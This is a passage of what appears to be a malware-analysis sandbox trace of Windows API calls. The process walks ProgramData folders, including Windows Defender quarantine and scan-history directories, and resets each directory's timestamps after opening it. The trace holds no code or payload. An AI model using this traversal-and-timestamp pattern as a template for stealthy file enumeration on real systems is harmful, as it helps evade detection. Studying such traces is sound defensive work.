hTemplateFile=0x0) returned 0x170 [0256.901] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.901] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.901] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\backup"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0256.901] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.901] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.902] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\updates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0256.902] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.903] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.903] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0256.903] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.903] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.904] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\localcopy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0256.904] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.904] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.904] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\quarantine"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0256.904] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.904] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.905] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0256.905] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.906] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.906] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0256.906] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.906] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.906] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\cachemanager"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0256.907] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0256.907] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0256.907] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\results"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0256.907] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0256.907] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0256.908] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\results\\resource"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0256.908] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0256.908] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0256.909] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\service"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0256.909] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0256.909] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0256.910] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\store"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0256.910] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0256.910] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0256.910] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\support"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0256.910] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.910] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.911] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT" (normalized: "c:\\users\\all users\\microsoft\\windows nt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0256.911] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0256.911] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0256.912] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0256.912] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.912] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.917] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\activitylog"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0256.917] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.917] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.917] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0256.917] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.917] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.918] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0256.918] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0256.918] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0256.919] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\inbox"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0256.919] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.919] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.920] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\queue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0256.920] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.920] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.920] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\sentitems"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0256.920] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.920] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.921] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\virtualinbox"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0256.921] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.921] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.922] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\virtualinbox\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0256.922] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0256.922] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0256.923] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msscan"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0256.923] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.923] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.923] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc" (normalized: "c:\\users\\all users\\microsoft\\wwansvc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0256.924] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0256.924] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0256.924] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles" (normalized: "c:\\users\\all users\\microsoft\\wwansvc\\profiles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0256.924] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.924] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.931] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help" (normalized: "c:\\users\\all users\\microsoft help"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0256.931] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0256.931] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0257.024] CreateFileW (lpFileName="C:\\Users\\All Users\\Mozilla" (normalized: "c:\\users\\all users\\mozilla"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0257.024] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0257.024] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0257.070] CreateFileW (lpFileName="C:\\Users\\All Users\\Mozilla\\logs" (normalized: "c:\\users\\all users\\mozilla\\logs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0257.070] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0257.070] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0257.071] CreateFileW (lpFileName="C:\\Users\\All Users\\Oracle" (normalized: "c:\\users\\all users\\oracle"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0257.071] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0257.072] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0257.116] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache" (normalized: "c:\\users\\all users\\package cache"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0257.117] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0257.117] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0257.351] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0257.351] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0257.351] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0257.351] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0257.352] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0257.352] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0257.353] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 